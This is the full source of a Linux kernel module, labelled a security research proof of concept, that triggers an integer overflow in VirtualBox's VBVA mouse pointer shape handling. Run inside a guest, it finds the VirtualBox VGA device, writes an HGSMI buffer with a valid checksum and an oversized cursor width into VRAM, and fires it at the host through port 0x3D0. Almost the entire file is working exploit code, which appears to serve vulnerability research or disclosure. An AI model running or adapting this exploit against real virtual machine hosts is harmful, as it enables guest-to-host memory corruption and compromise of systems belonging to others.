1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
| /*
* GFX-1 PoC: VBVA Mouse Pointer Shape Integer Overflow
*
* Demonstrates CVE-worthy bug in VirtualBox DevVGA_VBVA.cpp:740-741
* where || is used instead of && in dimension validation:
*
* ASSERT_GUEST_MSG_RETURN( SafeShape.u32Width <= s_cxMax
* || SafeShape.u32Height <= s_cyMax, ...)
*
* This allows Width > 2048 as long as Height <= 2048, causing integer
* overflow in cbPointerData computation. The host allocates a tiny
* buffer but stores huge width/height, leading to heap over-read when
* the host display driver processes the cursor shape.
*
* Trigger path (no Guest Additions required):
* guest writes HGSMI buffer to VRAM → outl(offset, 0x3D0)
* → HGSMIGuestWrite → HGSMIBufferProcess → vbvaChannelHandler
* → vbvaMousePointerShape → integer overflow → small RTMemAlloc
* → pfnVBVAMousePointerShape with bogus width/height
*
* Usage: insmod gfx1_exploit.ko
* dmesg | grep gfx1_poc
* rmmod gfx1_exploit
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
#include <linux/io.h>
#include <linux/delay.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Research");
MODULE_DESCRIPTION("GFX-1: VBVA mouse pointer shape integer overflow PoC");
#define VBOX_VGA_VENDOR 0x80ee
#define VBOX_VGA_DEVICE 0xbeef
/* HGSMI port for guest commands */
#define VGA_PORT_HGSMI_GUEST 0x3D0
/* HGSMI channel and command IDs */
#define HGSMI_CH_VBVA 0x02
#define VBVA_MOUSE_POINTER_SHAPE 8
/* Mouse pointer flags */
#define VBOX_MOUSE_POINTER_VISIBLE 0x0001
#define VBOX_MOUSE_POINTER_SHAPE 0x0004
/* HGSMI buffer header (16 bytes, packed) */
struct hgsmi_buffer_header {
uint32_t u32DataSize;
uint8_t u8Flags;
uint8_t u8Channel;
uint16_t u16ChannelInfo;
uint32_t u32Reserved1;
uint32_t u32Reserved2;
} __packed;
/* HGSMI buffer tail (8 bytes, packed) */
struct hgsmi_buffer_tail {
uint32_t u32Reserved;
uint32_t u32Checksum;
} __packed;
/* VBVAMOUSEPOINTERSHAPE (24 bytes header + variable data) */
struct vbva_mouse_pointer_shape {
int32_t i32Result;
uint32_t fu32Flags;
uint32_t u32HotX;
uint32_t u32HotY;
uint32_t u32Width;
uint32_t u32Height;
/* au8Data follows */
} __packed;
/*
* One-at-a-time hash — exact replica of HGSMICommon.cpp
*/
static uint32_t hgsmi_hash_process(uint32_t hash, const void *data, size_t len)
{
const uint8_t *p = data;
while (len--) {
hash += *p++;
hash += (hash << 10);
hash ^= (hash >> 6);
}
return hash;
}
static uint32_t hgsmi_hash_end(uint32_t hash)
{
hash += (hash << 3);
hash ^= (hash >> 11);
hash += (hash << 15);
return hash;
}
static uint32_t hgsmi_checksum(uint32_t offset,
const struct hgsmi_buffer_header *hdr,
uint32_t tail_reserved)
{
uint32_t hash = 0; /* hgsmiHashBegin() */
hash = hgsmi_hash_process(hash, &offset, sizeof(offset));
hash = hgsmi_hash_process(hash, hdr, sizeof(*hdr));
hash = hgsmi_hash_process(hash, &tail_reserved, sizeof(tail_reserved));
return hgsmi_hash_end(hash);
}
/*
* Demonstrate the integer overflow arithmetic (for dmesg logging).
*
* With Width=0x80000001, Height=16:
* AND mask: (((W+7)/8) * H + 3) & ~3
* = (0x10000001 * 16 + 3) & ~3
* = (0x00000010 + 3) & ~3 [overflow!]
* = 16
* XOR mask: W * 4 * H
* = 0x00000004 * 16 [overflow!]
* = 64
* cbPointerData = 16 + 64 = 80 [should be ~12 GB]
*/
#define POISON_WIDTH 0x80000001U
#define POISON_HEIGHT 16U
/* The overflowed cbPointerData value */
#define CB_POINTER_DATA 80U
/* VBVAMOUSEPOINTERSHAPE fields before au8Data */
#define SHAPE_HEADER_SIZE 24U
/* We need u32DataSize >= CB_POINTER_DATA + SHAPE_HEADER_SIZE = 104 */
#define HGSMI_DATA_SIZE 128U
/* Place buffer well past display framebuffer area */
#define BUFFER_VRAM_OFFSET 0x00100000U /* 1 MB into VRAM */
static struct pci_dev *vga_dev;
static void __iomem *vram_map; /* mapped window (just the page we need) */
static resource_size_t vram_size;
static resource_size_t map_phys;
static resource_size_t map_size;
static int __init gfx1_init(void)
{
struct hgsmi_buffer_header hdr;
struct hgsmi_buffer_tail tail;
struct vbva_mouse_pointer_shape shape;
uint32_t checksum;
void __iomem *buf_base;
uint32_t total_buf_size;
int32_t result;
resource_size_t bar_start;
pr_info("gfx1_poc: Loading GFX-1 VBVA mouse pointer overflow PoC\n");
/* Find VirtualBox VGA device */
vga_dev = pci_get_device(VBOX_VGA_VENDOR, VBOX_VGA_DEVICE, NULL);
if (!vga_dev) {
pr_err("gfx1_poc: VBox VGA device [%04x:%04x] not found\n",
VBOX_VGA_VENDOR, VBOX_VGA_DEVICE);
return -ENODEV;
}
pr_info("gfx1_poc: Found VBox VGA at %s\n", pci_name(vga_dev));
/* Get VRAM (BAR 0) size and base */
vram_size = pci_resource_len(vga_dev, 0);
bar_start = pci_resource_start(vga_dev, 0);
if (vram_size == 0 || bar_start == 0) {
pr_err("gfx1_poc: BAR 0 invalid (start=0x%llx, size=0x%llx)\n",
(unsigned long long)bar_start, (unsigned long long)vram_size);
pci_dev_put(vga_dev);
return -ENOMEM;
}
pr_info("gfx1_poc: VRAM BAR 0: phys 0x%llx size 0x%llx\n",
(unsigned long long)bar_start, (unsigned long long)vram_size);
total_buf_size = sizeof(struct hgsmi_buffer_header) + HGSMI_DATA_SIZE
+ sizeof(struct hgsmi_buffer_tail);
if (BUFFER_VRAM_OFFSET + total_buf_size > vram_size) {
pr_err("gfx1_poc: VRAM too small for buffer at offset 0x%x\n",
BUFFER_VRAM_OFFSET);
pci_dev_put(vga_dev);
return -ENOMEM;
}
/*
* Map only a small window around our buffer, not the entire VRAM.
* This avoids ioremap failures when VRAM is large (16-256 MB) and
* the existing framebuffer driver already holds the region.
*/
map_phys = bar_start + (BUFFER_VRAM_OFFSET & PAGE_MASK);
map_size = PAGE_ALIGN(total_buf_size + (BUFFER_VRAM_OFFSET & ~PAGE_MASK)) + PAGE_SIZE;
vram_map = ioremap(map_phys, map_size);
if (!vram_map) {
pr_err("gfx1_poc: Failed to ioremap VRAM window "
"(phys 0x%llx, size 0x%llx)\n",
(unsigned long long)map_phys, (unsigned long long)map_size);
pci_dev_put(vga_dev);
return -ENOMEM;
}
pr_info("gfx1_poc: Mapped VRAM window at %p (phys 0x%llx + 0x%llx)\n",
vram_map, (unsigned long long)map_phys, (unsigned long long)map_size);
/*
* Build HGSMI buffer in VRAM at BUFFER_VRAM_OFFSET
*
* Layout:
* +0x00: HGSMIBUFFERHEADER (16 bytes)
* +0x10: payload = VBVAMOUSEPOINTERSHAPE (128 bytes)
* +0x90: HGSMIBUFFERTAIL (8 bytes)
* Total: 152 bytes
*/
/* buf_base = mapped window base + offset within the mapped page */
buf_base = vram_map + (BUFFER_VRAM_OFFSET - (BUFFER_VRAM_OFFSET & PAGE_MASK));
/* --- Header --- */
memset(&hdr, 0, sizeof(hdr));
hdr.u32DataSize = HGSMI_DATA_SIZE; /* 128 */
hdr.u8Flags = 0x00; /* SEQ_SINGLE */
hdr.u8Channel = HGSMI_CH_VBVA; /* 0x02 */
hdr.u16ChannelInfo = VBVA_MOUSE_POINTER_SHAPE; /* 8 */
hdr.u32Reserved1 = 0;
hdr.u32Reserved2 = 0;
/* --- Payload (mouse pointer shape) --- */
memset(&shape, 0, sizeof(shape));
shape.i32Result = 0;
shape.fu32Flags = VBOX_MOUSE_POINTER_VISIBLE | VBOX_MOUSE_POINTER_SHAPE;
shape.u32HotX = 0;
shape.u32HotY = 0;
shape.u32Width = POISON_WIDTH; /* 0x80000001 — passes || check */
shape.u32Height = POISON_HEIGHT; /* 16 — satisfies height <= 2048 */
/* --- Tail --- */
memset(&tail, 0, sizeof(tail));
tail.u32Reserved = 0;
/* Compute checksum: hash(offset, header, tail.u32Reserved) */
checksum = hgsmi_checksum(BUFFER_VRAM_OFFSET, &hdr, tail.u32Reserved);
tail.u32Checksum = checksum;
pr_info("gfx1_poc: HGSMI checksum = 0x%08x\n", checksum);
pr_info("gfx1_poc: Malicious shape: %ux%u (should overflow cbPointerData to %u)\n",
POISON_WIDTH, POISON_HEIGHT, CB_POINTER_DATA);
/* Verify overflow arithmetic */
{
uint32_t w = POISON_WIDTH, h = POISON_HEIGHT;
uint32_t and_mask = ((((w + 7) / 8) * h + 3) & ~3U);
uint32_t xor_mask = w * 4 * h;
uint32_t cb = and_mask + xor_mask;
pr_info("gfx1_poc: Overflow check: AND=%u XOR=%u cbPointerData=%u\n",
and_mask, xor_mask, cb);
pr_info("gfx1_poc: Real data needed: ~%llu bytes (AND) + ~%llu bytes (XOR)\n",
(unsigned long long)((((uint64_t)w + 7) / 8) * h),
(unsigned long long)((uint64_t)w * 4 * h));
}
/* Zero the entire buffer region in VRAM first */
memset_io(buf_base, 0, total_buf_size);
/* Write header to VRAM */
memcpy_toio(buf_base, &hdr, sizeof(hdr));
/* Write shape payload to VRAM (after header) */
memcpy_toio(buf_base + sizeof(hdr), &shape, sizeof(shape));
/* Remaining payload bytes (128 - 24 = 104 bytes of au8Data area)
* are already zeroed — serves as dummy pixel data */
/* Write tail to VRAM */
memcpy_toio(buf_base + sizeof(hdr) + HGSMI_DATA_SIZE, &tail, sizeof(tail));
pr_info("gfx1_poc: HGSMI buffer written at VRAM offset 0x%x\n",
BUFFER_VRAM_OFFSET);
pr_info("gfx1_poc: Triggering via outl(0x%x, 0x%x)...\n",
BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);
/* Fire! Write the buffer offset to the HGSMI guest port */
outl(BUFFER_VRAM_OFFSET, VGA_PORT_HGSMI_GUEST);
/* Small delay for host processing */
mdelay(100);
/* Read back i32Result from the payload in VRAM */
result = readl(buf_base + sizeof(hdr)); /* first field of shape */
pr_info("gfx1_poc: i32Result = %d (0=success, negative=VBox error)\n", result);
if (result == 0) {
pr_info("gfx1_poc: *** COMMAND ACCEPTED ***\n");
pr_info("gfx1_poc: Host allocated %u bytes for a %ux%u cursor\n",
CB_POINTER_DATA, POISON_WIDTH, POISON_HEIGHT);
pr_info("gfx1_poc: The host display driver now has a cursor shape with\n");
pr_info("gfx1_poc: dimensions 2147483649x16 but only 80 bytes of pixel data.\n");
pr_info("gfx1_poc: === GFX-1 INTEGER OVERFLOW CONFIRMED ===\n");
} else if (result == -22) {
/* VERR_INVALID_PARAMETER = -22 in VBox error codes */
pr_info("gfx1_poc: Command rejected with VERR_INVALID_PARAMETER\n");
pr_info("gfx1_poc: The validation caught the bad dimensions (bug may be fixed)\n");
} else {
pr_info("gfx1_poc: Unexpected result code: %d\n", result);
}
return 0;
}
static void __exit gfx1_exit(void)
{
if (vram_map)
iounmap(vram_map);
if (vga_dev)
pci_dev_put(vga_dev);
pr_info("gfx1_poc: Unloaded\n");
}
module_init(gfx1_init);
module_exit(gfx1_exit);
|